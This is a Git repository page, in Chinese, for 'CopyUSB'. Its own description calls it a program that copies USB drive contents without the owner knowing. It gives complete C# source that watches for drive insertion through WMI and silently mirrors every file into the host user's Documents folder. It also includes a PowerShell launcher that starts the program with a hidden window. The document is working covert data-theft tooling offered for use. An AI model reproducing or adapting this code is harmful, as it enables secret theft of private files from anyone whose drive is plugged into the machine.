介绍

Zengtudor/CopyUSB: 自动检测USB插入并拷贝到当前用户的文档文件夹/USBCopy - CopyUSB - Zziyu 's Git 曾子愚

一个能在别人不知情的情况下复制U盘内容的小程序

use .NET Core 7.0

Program.cs

using CopyUSB;
using System.Management;
static string GetVolumeLabel(string driveName)
{
	try
	{
		DriveInfo driveInfo = new DriveInfo(driveName);
		return driveInfo.VolumeLabel;
	}
	catch (Exception)
	{
		return null;
	}
}

string query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2";

ManagementEventWatcher managementEventWatcher = new(query);

Console.WriteLine("Waiting for USB...");


managementEventWatcher.EventArrived += (s, e) =>
{
	/*Console.WriteLine("触发器被触发了");*/
	string driveName = e.NewEvent.Properties["DriveName"].Value.ToString();

	string dPath = Path.Join(Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments), "USBCopy", GetVolumeLabel(driveName));
	
	Console.WriteLine($"Detected: {driveName} || Save To -> : {dPath}");

	if (!Directory.Exists(dPath))
	{
		Directory.CreateDirectory(dPath);
	}
	
	var copyList = new List<(long, FileInfo, string, string)>();

	FileCopy.Copy(driveName, dPath,copyList);

	var sortedList = copyList.OrderBy(s => s.Item1).Select(s => s);
	/*Console.WriteLine($"元素个数{sortedList.Count()}");*/
	foreach (var copyItem in sortedList)
	{
		Console.WriteLine($"{copyItem.Item4} {copyItem.Item2} --> {copyItem.Item3} {copyItem.Item1 / 1024 / 1024}MB");
		try
		{
			copyItem.Item2.CopyTo(copyItem.Item3, true);
		}
		catch (Exception ex)
		{
			Console.WriteLine($"Copy Error {copyItem.Item2}");
			/*Console.WriteLine(ex.ToString());*/
		}
	}
	Console.WriteLine("\n--------------Scaned and waiting--------------\n");
};

managementEventWatcher.Start();

// 让程序保持运行状态
while (true)
{
	Thread.Sleep(1000);
	/*Console.WriteLine("一次休眠周期");*/
}

FileCopy.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace CopyUSB;
public class CopyList
{
	public string Func {  get; set; }
	public long length { get; set; }
	public FileInfo file { get; set; }
	public string des { get; set; }
}
public class FileCopy
{
	
	public static void Copy(string source,string des, List<(long, FileInfo, string, string)> copyList)
	{
		try
		{
			var sourceDir = new DirectoryInfo(source);
			var desDir = new DirectoryInfo(des);

			// 确保目标目录存在
			if (!desDir.Exists)
			{
				desDir.Create();
			}
			//遍历目录
			foreach (var subDir in sourceDir.GetDirectories())
			{
				Copy(subDir.FullName, Path.Combine(desDir.FullName, subDir.Name), copyList);
			}
			foreach (var file in sourceDir.GetFiles())
			{
				string destinationFile = Path.Combine(desDir.FullName, file.Name);
				if (File.Exists(destinationFile))
				{
					var desFileInfo = new FileInfo(destinationFile);
					if (desFileInfo.Length != file.Length)
					{
						/*Console.WriteLine($"Renew {file}  --> {destinationFile}");*/
						copyList.Add((file.Length,file, destinationFile,"Renew"));
						/*file.CopyTo(destinationFile, true);*/
					}
					else
					{
						Console.WriteLine($"Same {file}  --> {destinationFile} {file.Length/1024/1024}MB");
						/*copyList.Add((file, destinationFile, 0, "Same"));*/
					}
				}
				else
				{
					/*Console.WriteLine($"NewFile {file} --> {destinationFile}");*/
					copyList.Add((file.Length,file, destinationFile, "NewFile"));
				}
				
			}
			
			
		}
		catch (Exception ex)
		{
			Console.WriteLine($"Copy Error {source}");
			/*Console.WriteLine(ex.ToString());*/
		}
	}
}

start.ps1 用于后台启动程序

$scriptDirectory = Split-Path -Parent $MyInvocation.MyCommand.Path
$exePath = Join-Path -Path $scriptDirectory -ChildPath "CopyUSB.exe"

Start-Process -WindowStyle Hidden -FilePath $exePath

该用户已被删除。